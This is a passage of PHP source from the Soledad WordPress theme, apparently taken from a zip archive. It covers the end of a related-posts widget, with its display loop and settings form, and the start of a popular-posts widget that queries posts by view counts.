								if ( $featured2 ): echo ' featured-news2'; endif; endif; ?><?php if ( $allfeatured ): echo ' all-featured-news'; endif; ?>">
                                <div class="side-item">

									<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) ) : ?>
                                        <div class="side-image<?php if ( $thumbright ): echo ' thumbnail-right'; endif; ?>">
											<?php
											$size_pie = 'small';
											if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $size_pie = 'normal'; endif;
											do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
											/* Display Review Piechart  */
											if ( function_exists( 'penci_display_piechart_review_html' ) ) {
												penci_display_piechart_review_html( get_the_ID(), $size_pie );
											}
											$thumb = penci_featured_images_size( 'small' );
											if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = penci_featured_images_size(); endif;
											if ( $image_type == 'horizontal' ) {
												$thumb = 'penci-thumb-small';
												if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = 'penci-thumb'; endif;
											} elseif ( $image_type == 'square' ) {
												$thumb = 'penci-thumb-square';
											} elseif ( $image_type == 'vertical' ) {
												$thumb = 'penci-thumb-vertical';
											}
											?>

                                            <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumb )); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
												echo '';
											} else {
												echo ' small-fix-size';
											} ?>" rel="bookmark"
                                               href="<?php the_permalink(); ?>"
                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
												<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumb ), get_the_title() ); ?>
                                            </a>


											<?php if ( $icon ): ?>
												<?php if ( has_post_format( 'video' ) ) : ?>
                                                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
												<?php endif; ?>
												<?php if ( has_post_format( 'audio' ) ) : ?>
                                                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
												<?php endif; ?>
												<?php if ( has_post_format( 'link' ) ) : ?>
                                                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
												<?php endif; ?>
												<?php if ( has_post_format( 'quote' ) ) : ?>
                                                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
												<?php endif; ?>
												<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                       aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
												<?php endif; ?>
											<?php endif; ?>
                                        </div>
									<?php endif; ?>
                                    <div class="side-item-text">
										<?php if ( $movemeta && ! $postdate ): ?>
                                            <div class="grid-post-box-meta penci-side-item-meta pcsnmt-above">
                                                <span class="side-item-meta"><?php penci_soledad_time_link(); ?></span>
												<?php do_action( 'penci_extra_meta' ); ?>
                                            </div>
										<?php endif; ?>
                                        <h4 class="side-title-post">
                                            <a href="<?php the_permalink() ?>" rel="bookmark"
                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
												<?php
												if ( ! $title_length || ! is_numeric( $title_length ) ) {
													if ( $featured2 && ( ( ( $num == 1 ) && $featured ) || $allfeatured ) ) {
														echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 12, '...' );
													} else {
														the_title();
													}
												} else {
													echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
												}
												?>
                                            </a>
                                        </h4>
										<?php if ( ! $movemeta && ! $postdate ): ?>
                                            <div class="grid-post-box-meta penci-side-item-meta pcsnmt-below">
                                                <span class="side-item-meta"><?php penci_soledad_time_link(); ?></span>
												<?php do_action( 'penci_extra_meta' ); ?>
                                            </div>
										<?php endif; ?>
                                    </div>
                                </div>
                            </li>
							<?php $num ++; endwhile; ?>
                    </ul>

					<?php

					if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'btn' ) {
						?>
                        <div class="penci-pagination penci-ajax-more pcwg-lposts">
                            <a class="penci-ajax-more-button penci-wgajx-btn"
                               href="#" aria-label="More Posts">
                                <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                        class="ajaxdot"></span><i
                                        class="penci-faicon fa fa-refresh"></i> </a>
                        </div>
						<?php
					} else if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'nav' ) { ?>
                        <div class="penci-pagination penci-ajax-nav pcwg-lposts">
                            <span class="pcajx-btn penci-wgajx-btn prev disable"><?php echo penci_icon_by_ver( 'penciicon-left-chevron' ) . ' <span class="pcnav-title">' . penci_get_setting( 'penci_trans_back' ); ?></span></span>
                            <span class="pcajx-btn penci-wgajx-btn next"><span
                                        class="pcnav-title"><?php echo penci_get_setting( 'penci_trans_next' ) . '</span> ' . penci_icon_by_ver( 'penciicon-right-chevron' ); ?></span>
                        </div>
						<?php
					}
					if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] ) {
						?>
                        <div class="pcwgajx-ld-wrapper">
							<?php echo penci_get_html_animation_loading( 'df' ); ?>
                        </div>
						<?php
					}
					$attrstyle = '';
					if ( $ptfsfe ) {
						$attrstyle .= '.widget ul#penci-relatedwg-' . $rand . ' li.featured-news .side-item .side-item-text h4 a{ font-size: ' . $ptfsfe . 'px; }';
					}
					if ( $ptfs ) {
						$attrstyle .= '.widget ul#penci-relatedwg-' . $rand . ' li:not(.featured-news) .side-item .side-item-text h4 a{ font-size: ' . $ptfs . 'px; }';
					}
					if ( $pmfs ) {
						$attrstyle .= '.widget ul#penci-relatedwg-' . $rand . ' li .side-item .side-item-text .side-item-meta{ font-size: ' . $pmfs . 'px; }';
					}
					if ( $image_type == 'horizontal' ) {
						$attrstyle .= '#penci-relatedwg-' . $rand . ' .penci-image-holder:before{ padding-top: 66.6667%; }';
					} elseif ( $image_type == 'square' ) {
						$attrstyle .= '#penci-relatedwg-' . $rand . ' .penci-image-holder:before{ padding-top: 100%; }';
					} elseif ( $image_type == 'vertical' ) {
						$attrstyle .= '#penci-relatedwg-' . $rand . ' .penci-image-holder:before{ padding-top: 135.4%; }';
					}

					if ( $attrstyle ) {
						echo '<style type="text/css">' . $attrstyle . '</style>';
					}

					/* After widget (defined by themes). */
					echo ent2ncr( $after_widget );

					wp_reset_postdata();
				endif;

			}
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array(
				'title'        => esc_html__( 'Related Posts', 'soledad' ),
				'ptfsfe'       => '',
				'ptfs'         => '',
				'pmfs'         => '',
				'image_type'   => 'default',
				'type'         => 'categories',
				'orderby'      => 'date',
				'order'        => 'DESC',
				'title_length' => '',
				'number'       => 5,
				'featured'     => false,
				'movemeta'     => false,
				'dotstyle'     => '',
				'ajaxnav'      => '',
				'metakey'      => '',
				'allfeatured'  => false,
				'thumbright'   => false,
				'twocolumn'    => false,
				'featured2'    => false,
				'postdate'     => false,
				'icon'         => false
			);

			return $defaults;
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults       = $this->soledad_widget_defaults();
			$instance       = wp_parse_args( (array) $instance, $defaults );
			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>

            <br>
            <p><span style="color: #ff0000;">Note Important:</span> This widget just appears on single post pages only.
            </p>

            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <!-- Display related posts by -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'type' ) ); ?>"><?php esc_html_e( 'Display Related Posts By:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'type' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'type' ) ); ?>" class="widefat type"
                        style="width:100%;">
                    <option value='categories' <?php if ( 'categories' == $instance['type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Categories', 'soledad' ); ?></option>
                    <option value='tags' <?php if ( 'tags' == $instance['type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Tags', 'soledad' ); ?></option>
                    <option value='primary_cat' <?php if ( 'primary_cat' == $instance['type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Primary Category from Yoast SEO Plugin', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Order by -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"><?php esc_html_e( 'Order By:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'orderby' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='date' <?php if ( 'date' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Published Date', 'soledad' ); ?></option>
                    <option value='ID' <?php if ( 'ID' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Posts ID', 'soledad' ); ?></option>
                    <option value='title' <?php if ( 'title' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Posts Titles', 'soledad' ); ?></option>
                    <option value='modified' <?php if ( 'modified' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Modified Date', 'soledad' ); ?></option>
                    <option value='comment_count' <?php if ( 'comment_count' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Comment Count', 'soledad' ); ?></option>
                    <option value='rand' <?php if ( 'rand' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Random', 'soledad' ); ?></option>
					<option value='metakey' <?php if ( 'metakey' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Custom Meta Key', 'soledad' ); ?></option>
                </select>
            </p>

			<!-- Custom Meta Key -->
			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'metakey' ) ); ?>"><?php esc_html_e( 'Custom Meta Key:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'metakey' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'metakey' ) ); ?>"
                       value="<?php echo esc_attr( $instance['metakey'] ); ?>"/>
            </p>

            <!-- Order -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"><?php esc_html_e( 'Select Order Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'order' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='DESC' <?php if ( 'DESC' == $instance['order'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'DESC ( Descending Order )', 'soledad' ); ?></option>
                    <option value='ASC' <?php if ( 'ASC' == $instance['order'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'ASC ( Ascending Order )', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Image Size -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"><?php esc_html_e( 'Featured Images Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'image_type' ) ); ?>"
                        class="widefat image_type" style="width:100%;">
                    <option value='default' <?php if ( 'default' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Default ( follow on Customize )', 'soledad' ); ?></option>
                    <option value='horizontal' <?php if ( 'horizontal' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Horizontal Size', 'soledad' ); ?></option>
                    <option value='square' <?php if ( 'square' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Square Size', 'soledad' ); ?></option>
                    <option value='vertical' <?php if ( 'vertical' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Vertical Size', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Number of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php esc_html_e( 'Number of posts to show:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>"
                       value="<?php echo esc_attr( $instance['number'] ); ?>" size="3"/>
            </p>

            <!-- Custom trim post titles -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"><?php esc_html_e( 'Custom words length for post titles:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title_length' ) ); ?>"
                       value="<?php echo esc_attr( $instance['title_length'] ); ?>" size="3"/>
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If your post titles is too long - You can use this option for trim it. Fill number value here.</span>
            </p>

            <!-- Timeline dots style -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'dotstyle' ) ); ?>"><?php esc_html_e( 'Show Timeline Dots?', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'dotstyle' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'dotstyle' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( "Don't Show", 'soledad' ); ?></option>
                    <option value='s1' <?php if ( 's1' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Color Style', 'soledad' ); ?></option>
                    <option value='s2' <?php if ( 's2' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Hover Style', 'soledad' ); ?></option>
                    <option value='s3' <?php if ( 's3' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Animation Style', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Move post meta -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'movemeta' ) ); ?>"><?php esc_html_e( 'Move post meta to display above post title?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'movemeta' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'movemeta' ) ); ?>" <?php checked( (bool) $instance['movemeta'], true ); ?> />
            </p>

            <!-- Display thumbnail right -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'thumbright' ) ); ?>"><?php esc_html_e( 'Display thumbnail on right?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'thumbright' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'thumbright' ) ); ?>" <?php checked( (bool) $instance['thumbright'], true ); ?> />
            </p>

            <!-- 2 Columns -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'twocolumn' ) ); ?>"><?php esc_html_e( 'Display on 2 columns?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'twocolumn' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'twocolumn' ) ); ?>" <?php checked( (bool) $instance['twocolumn'], true ); ?> />
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If you use 2 columns option, it will ignore option display thumbnail on right.</span>
            </p>

            <!-- Display latest post featured -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'featured' ) ); ?>"><?php esc_html_e( 'Display 1st post featured?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'featured' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'featured' ) ); ?>" <?php checked( (bool) $instance['featured'], true ); ?> />
            </p>

            <!-- Display latest post featured style 2 -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'featured2' ) ); ?>"><?php esc_html_e( 'Display featured post style 2?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'featured2' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'featured2' ) ); ?>" <?php checked( (bool) $instance['featured2'], true ); ?> />
            </p>

            <!-- Display big post -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'allfeatured' ) ); ?>"><?php esc_html_e( 'Display all post featured?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'allfeatured' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'allfeatured' ) ); ?>" <?php checked( (bool) $instance['allfeatured'], true ); ?> />
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If you use all post featured option, it will ignore option display thumbnail on right & 2 columns.</span>
            </p>

            <!-- Hide post date -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'postdate' ) ); ?>"><?php esc_html_e( 'Hide post date?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'postdate' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'postdate' ) ); ?>" <?php checked( (bool) $instance['postdate'], true ); ?> />
            </p>

            <!-- Ajax Post Navigation -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ajaxnav' ) ); ?>"><?php esc_html_e( 'Ajax Posts Navigation?', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'ajaxnav' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'ajaxnav' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( "Don't Show", 'soledad' ); ?></option>
                    <option value='nav' <?php if ( 'nav' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Next/Previous Button', 'soledad' ); ?></option>
                    <option value='btn' <?php if ( 'btn' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Load More Button', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Enable post format icon -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'icon' ) ); ?>"><?php esc_html_e( 'Show icon post format?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'icon' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'icon' ) ); ?>" <?php checked( (bool) $instance['icon'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptfsfe' ) ); ?>"><?php esc_html_e( 'Post Title Font Size on Featured Posts ( Default: 18 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptfsfe' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptfsfe' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptfsfe'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"><?php esc_html_e( 'Post Title Font Size ( Default: 16 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptfs'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"><?php esc_html_e( 'Post Meta Font Size ( Default: 13 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'pmfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['pmfs'] ); ?>" size="3"/>
            </p>

			<?php
		}
	}
}
?>
PK     2w\,U  U    widgets/popular_post_widget.phpnu [        <?php
/**
 * Popular posts widget
 * Get most viewed and display in widget
 *
 * @package Wordpress
 * @since 1.0
 */

add_action( 'widgets_init', 'penci_popular_news_load_widget' );

function penci_popular_news_load_widget() {
	register_widget( 'penci_popular_news_widget' );
}

if ( ! class_exists( 'penci_popular_news_widget' ) ) {
	class penci_popular_news_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_popular_news_widget',
				'description' => esc_html__( 'A widget that displays your popular posts from all categories or a category', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_popular_news_widget' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_popular_news_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Popular Posts', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_popular_news_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Popular Posts', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title      = isset( $instance['title'] ) ? $instance['title'] : '';
			$title      = apply_filters( 'widget_title', $title );
			$type       = isset( $instance['type'] ) ? $instance['type'] : '';
			$categories = isset( $instance['categories'] ) ? $instance['categories'] : '';
			$number     = isset( $instance['number'] ) ? $instance['number'] : '';
			$offset     = isset( $instance['offset'] ) ? $instance['offset'] : '';
			$query_cat  = isset( $instance['query_cat'] ) ? $instance['query_cat'] : '';
			$ptype      = isset( $instance['ptype'] ) ? $instance['ptype'] : '';
			if ( ! $ptype ): $ptype = 'post'; endif;
			$taxonomy     = isset( $instance['taxonomy'] ) ? $instance['taxonomy'] : '';
			$tax_ids      = isset( $instance['tax_ids'] ) ? $instance['tax_ids'] : 'tax_ids';
			$sticky       = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
			$sticky_value = ( false == $sticky ) ? 0 : 1;
			$title_length = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
			$featured     = isset( $instance['featured'] ) ? $instance['featured'] : false;
			$dotstyle     = isset( $instance['dotstyle'] ) ? $instance['dotstyle'] : '';
			$movemeta     = isset( $instance['movemeta'] ) ? $instance['movemeta'] : false;
			$twocolumn    = isset( $instance['twocolumn'] ) ? $instance['twocolumn'] : false;
			$featured2    = isset( $instance['featured2'] ) ? $instance['featured2'] : false;
			$ordernum     = isset( $instance['ordernum'] ) ? $instance['ordernum'] : false;
			$allfeatured  = isset( $instance['allfeatured'] ) ? $instance['allfeatured'] : false;
			$thumbright   = isset( $instance['thumbright'] ) ? $instance['thumbright'] : false;
			$postdate     = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
			$icon         = isset( $instance['icon'] ) ? $instance['icon'] : false;
			$image_type   = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';
			$ptfsfe       = isset( $instance['ptfsfe'] ) ? absint( $instance['ptfsfe'] ) : '';
			$ptfs         = isset( $instance['ptfs'] ) ? absint( $instance['ptfs'] ) : '';
			$pmfs         = isset( $instance['pmfs'] ) ? absint( $instance['pmfs'] ) : '';
			$ptorn        = isset( $instance['ptorn'] ) ? absint( $instance['ptorn'] ) : '';
			$oboxsize     = isset( $instance['oboxsize'] ) ? absint( $instance['oboxsize'] ) : '';
			$row_gap      = isset( $instance['row_gap'] ) ? absint( $instance['row_gap'] ) : '';
			$imgwidth     = isset( $instance['imgwidth'] ) ? absint( $instance['imgwidth'] ) : '';
			$hide_thumb   = isset( $instance['hide_thumb'] ) ? $instance['hide_thumb'] : false;
			$showauthor   = isset( $instance['show_author'] ) ? $instance['show_author'] : false;
			$showcomment  = isset( $instance['show_comment'] ) ? $instance['show_comment'] : false;
			$showviews    = isset( $instance['show_postviews'] ) ? $instance['show_postviews'] : false;
			$showborder   = isset( $instance['showborder'] ) ? $instance['showborder'] : false;
			$ordernum_style   = isset( $instance['ordernum_style'] ) ? $instance['ordernum_style'] : '1';
			$cats_id      = ! empty( $instance['cats_id'] ) ? explode( ',', $instance['cats_id'] ) : array();
			$tags_id      = ! empty( $instance['tags_id'] ) ? explode( ',', $instance['tags_id'] ) : array();

			$query = array(
				'meta_key'            => penci_get_postviews_key(),
				'orderby'             => 'meta_value_num',
				'order'               => 'DESC',
				'posts_per_page'      => $number,
				'post_type'           => $ptype,
				'ignore_sticky_posts' => $sticky_value
			);

			if ( $type == 'week' ) {
				$query = array(
					'posts_per_page' => $number,
					'meta_key'       => 'penci_post_week_views_count',
					'orderby'        => 'meta_value_num',
					'order'          => 'DESC',
				);
			} elseif ( $type == 'month' ) {
				$query = array(
					'posts_per_page' => $number,
					'meta_key'       => 'penci_post_month_views_count',
					'orderby'        => 'meta_value_num',
					'order'          => 'DESC',
				);
			} elseif ( $type == 'daily' ) {
				$query = array(
					'posts_per_page' => $number,
					'meta_key'       => 'penci_post_day_views_count',
					'orderby'        => 'meta_value_num',
					'order'          => 'DESC',
				);
			} elseif ( $type == 'jetpack' ) {
				$query = array(
					'posts_per_page' => $number,
					'meta_key'       => '_jetpack_post_view',
					'orderby'        => 'meta_value_num',
					'order'          => 'DESC',
				);
			}

			if ( 'post' == $ptype ) {
				if ( isset( $instance['cats_id'] ) ) {
					if ( ! empty( $cats_id ) && ! in_array( 'all', $cats_id ) ) {
						$query['category__in'] = $cats_id;
					}
				} else {
					if ( $categories ) {
						$query['cat'] = $categories;
					}
				}

				if ( ! empty( $tags_id ) ) {
					if ( ! in_array( 'all', $tags_id ) ) {
						$query['tag__in'] = $tags_id;
					}
				}
			}

			if ( $offset ) {
				$query['offset'] = $offset;
			}

			if ( $taxonomy && ( 'post' != $ptype ) ) {
				$taxonomy  = str_replace( ' ', '', $taxonomy );
				$tax_array = explode( ',', $taxonomy );

				foreach ( $tax_array as $tax ) {
					$tax_ids_array = array();
					if ( $tax_ids ) {
						$tax_ids       = str_replace( ' ', '', $tax_ids );
						$tax_ids_array = explode( ',', $tax_ids );
					} else {
						$get_all_terms = get_terms( $tax );
						if ( ! empty( $get_all_terms ) ) {
							foreach ( $get_all_terms as $term ) {
								$tax_ids_array[] = $term->term_id;
							}
						}
					}

					if ( ! empty( $tax_ids_array ) ) {
						$query['tax_query'][] = array(
							'taxonomy' => $tax,
							'field'    => 'term_id',
							'terms'    => $tax_ids_array
						);
					}
				}
			}

			if ( $query_cat && ( is_category() || is_tag() ) ) {
				$query['post_type'] = 'post';
				$queried_object = get_queried_object();
			
				if ( is_category() ) {
					if ( ! empty( $queried_object->term_id ) ) {
						$query['cat'] = $queried_object->term_id;
					} elseif ( ! empty( $queried_object->slug ) ) {
						$query['category_name'] = $queried_object->slug;
					}
				} elseif ( is_tag() ) {
					if ( ! empty( $queried_object->term_id ) ) {
						$query['tag_id'] = $queried_object->term_id;
					} elseif ( ! empty( $queried_object->slug ) ) {
						$query['tag'] = $queried_object->slug;
					}
				}
			}

			$loop = new WP_Query( $query );
			if ( $loop->have_posts() ) :

				/* Before widget (defined by themes). */
				echo ent2ncr( $before_widget );

				/* Display the widget title if one was input (before and after defined by themes). */
				if ( $title ) {
					echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
				}

				$rand = rand( 1000, 10000 );

				$data_settings = $instance;
				unset( $data_settings['title'] );

				$widget_class = [];

				$widget_class[] = 'side-newsfeed';

				if ( $twocolumn && ! $allfeatured ) {
					$widget_class[] = 'penci-feed-2columns';
					if ( $featured ) {
						$widget_class[] = 'penci-2columns-featured';
					} else {
						$widget_class[] = 'penci-2columns-feed';
					}
				}

				if ( ! $ordernum ) {
					$widget_class[] = 'display-order-numbers';
				}

				if ( $dotstyle ) {
					$widget_class[] = 'pctlst pctl-' . $dotstyle;
				}

				$widget_class[] = 'order-numbers-' . $ordernum_style;


				?>
                <ul id="penci-popularwg-<?php echo sanitize_text_field( $rand ); ?>"
                    data-settings='<?php echo json_encode( $data_settings ); ?>' data-paged="1"
                    data-action="penci_popular_news_ajax"
                    data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>"
                    data-max="<?php echo esc_attr( $loop->max_num_pages ); ?>"
                    class="<?php echo esc_attr( implode( ' ', $widget_class ) ) ?>">

					<?php $num = 1;
					while ( $loop->have_posts() ) : $loop->the_post(); ?>

                        <li class="penci-feed<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): echo ' featured-news';
							if ( $featured2 ): echo ' featured-news2'; endif; endif; ?><?php if ( $allfeatured ): echo ' all-featured-news'; endif; ?>">
